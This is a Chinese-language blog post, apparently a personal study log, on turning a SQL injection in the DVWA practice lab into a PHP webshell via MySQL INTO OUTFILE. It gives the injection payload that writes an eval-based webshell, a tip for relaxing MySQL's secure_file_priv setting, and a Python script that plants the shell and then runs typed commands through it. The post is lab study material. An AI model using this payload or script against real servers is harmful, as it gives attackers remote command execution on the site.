好好过你的生活,不要老是忙着告诉别人你在干嘛。

最近在复习学过的东西,自己就重新搭了个dvwa来学习新思路,写一些简单的脚本来练习写代码的能力。

众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会遇到各种各样的问题,这些以后再说,当我这个菜比都学会了在分享出来吧。

今天我们说说利用sql注入漏洞写入webshell。当我们发现了注入漏洞,但是却找不到后台,该怎么办呢,如果数据库管理员权限比较大的话,我们可以通过sql注入向网站写入shell。

写入webshell的前提条件:

1.select into outfile方法可用(允许导出文件)

2.我们需要知道网站所在的绝对路径

3.我们有足够的权限

首先我们确定了注入点,接下来就是爆一下网站的绝对路径:

在输入框中输入,1' union select 'x','x' into outfile 'xx' -- 利用错误的sql语句,使数据库报错并返回绝对路径

现在已经获得了网站的绝对路径,接下来就是利用sql注入写shell了,在输入框中插入 1' union select "<?php @eval($_GET['cmd'])?>","hello admin" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\hello.php' (需要注意,是两个"\") 点击提交,我们看一下是否上传成功

当我们输入 select 'xx' into outfile 'xxxx/xx/xx' -- 时 可能会遇到一下情况:

解决办法:找到my.ini文件 在最后一行加上一句 secure_file_prv="/"重启mysql即可。

============================================================附上自己写的自动化辣鸡代码=========================================================================

# -*- utf-8 -*-
import requests
import re headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.8',
'Cache-Control':'max-age=0',
'Connection':'keep-alive',
'Cookie':'security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1',
'Host':'192.168.86.129',
'Referer':'http://192.168.86.129/dvwa/security.php',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36' } url = raw_input('url:')
print '='*15,u'大爷稍等','='*15
payload = '%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#'
url1 = requests.get(url+payload,headers=headers)
url2 = 'http://192.168.86.129/dvwa/hello.php'
url3 = requests.get(url2,headers=headers)
url4 = re.findall('<body>(.*?)</body>',url3.text)
if 'hello' in url3.text:
print u'webshell已写入,路径为:http://192.168.86.129/dvwa/hello.php'
else:
print u'写入失败'
print u'大爷您请便!'
url5 = 'http://192.168.86.129/dvwa/hello.php?cmd='
url6 = raw_input()
url7 = requests.get(url5+url6,headers=headers)
url8 = re.findall('<body>(.*?)</body>',url7.content) print url7.content

  

以此记录自己学过的知识,以防忘记,每天进步一点,共勉。

DVWA从注入到GETSHELL的更多相关文章

  1. 《11招玩转网络安全》之第四招:low级别的DVWA SQL注入

    以DVWA为例,进行手工注入,帮助读者了解注入原理和过程. 1.启动docker,并在终端中执行命令: docker ps -a docker start LocalDVWA docker ps 执行 ...

  2. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

  3. [漏洞案例]thinkcmf 2.x从sql注入到getshell实战

    0X00 前言 这个案例是某项目的漏洞,涉及敏感的地方将会打码. 很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究. 下面是正文 0X01 正文 某厂商某个网站用的是th ...

  4. DVWA命令注入扣动分析

    本周学习内容: 1.学习web应用安全权威指南: 2.观看安全学习视频: 实验内容: 进行DVWA命令注入漏洞 实验步骤: Low 1.打开DVWA,进入DVWA Security模块将 Level修 ...

  5. DVWA sql注入low级别

    DVWA sql注入low级别 sql注入分类 数字型注入 SELECT first_name, last_name FROM users WHERE user_id = $id 字符型注入 SELE ...

  6. SQL注入到getshell

    SQL注入到getshell 通过本地 pikachu来复现  前提: 1.存在SQL注入漏洞 2.web目录具有写入权限 3.找到网站的绝对路径 4.secure_file_priv没有具体值(se ...

  7. ZZZPHP1.61 代码审计-从SQL注入到Getshell

    近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...

  8. 《11招玩转网络安全》之第五招:DVWA命令注入

    首先还是将DVWA的安全级别设置为Low,然后单击DVWA页面左侧的Command Injection按钮. ​ 图5-1  Low级别的命令注入 这个就是最典型的命令注入接口.在文本框中输入一个IP ...

  9. dvwa——命令注入&文件包含

    命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...

随机推荐

  1. linux上的deepin-qq不能显示图片解决方法

    在贴吧发现的一个方法 在终端输入以下命令,重新打开QQ即可 sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 sudo sysctl -w net.piv ...

  2. 学生成绩管理系统(SSM+MySQL+JSP)

    开发工具:Eclipse前端技术:基础:html+css+JavaScript框架:JQuery+H-ui后端技术:Spring+SpringMVC+mybatis模板引擎:JSP数据库:mysql ...

  3. HttpWatch汉化版带详细的使用教程下载

    http://www.wocaoseo.com/thread-303-1-1.html HttpWatch是强大的网页数据分析工具.集成在Internet Explorer工具栏.包括网页摘要.Coo ...

  4. 跟我一起学.NetCore之日志作用域及第三方日志框架扩展

    前言 上一节对日志的部分核心类型进行简单的剖析,相信现在再使用日志的时候,应该大概知道怎么一回事了,比如记录器是怎么来的,是如何将日志内容写入到不同目的地的等:当然还有很多细节没深入讲解,抽时间小伙伴 ...

  5. 深入了解Kafka【二】工作流程及文件存储机制

    1.Kafka工作流程 Kafka中的消息以Topic进行分类,生产者与消费者都是面向Topic处理数据. Topic是逻辑上的概念,而Partition是物理上的概念,每个Partition分为多个 ...

  6. vue问题整理

    生命周期面试题 1.什么是 vue 生命周期 vue 实例从创建到销毁的过程就是生命周期. 也就是从开始创建.初始化数据.编译模板.挂在 dom -> 渲染.更新 -> 渲染.卸载等一系列 ...

  7. 1初始化项目并且引入scss

    vue.vonfig.js 这个文件引入mian.scss css: { // 是否使用css分离插件 ExtractTextPlugin extract: true, // 开启 CSS sourc ...

  8. python3之range()

    python range() 函数可创建一个整数列表,一般用在 for 循环中. 函数语法(左闭右开) Python3 range() 函数返回的是一个可迭代对象(类型是对象),而不是列表类型, 所以 ...

  9. 关于pom.xml文件中配置jquery,以及如何在jsp中引入

    pom.xml <!-- 对jquery的支持 --> <dependency> <groupId>org.webjars.bower</groupId> ...

  10. Oracle 根据不同成绩,对应不同等级信息

    --查询每一颗成绩的:优秀.良好.不良的数量 --校园需要一张各科成绩状态统计表,格式如下: --科目名称 优秀人数 良好人数 不良人数 --高等数学 5 12 2 --英语 8 18 1 先创建一个 ...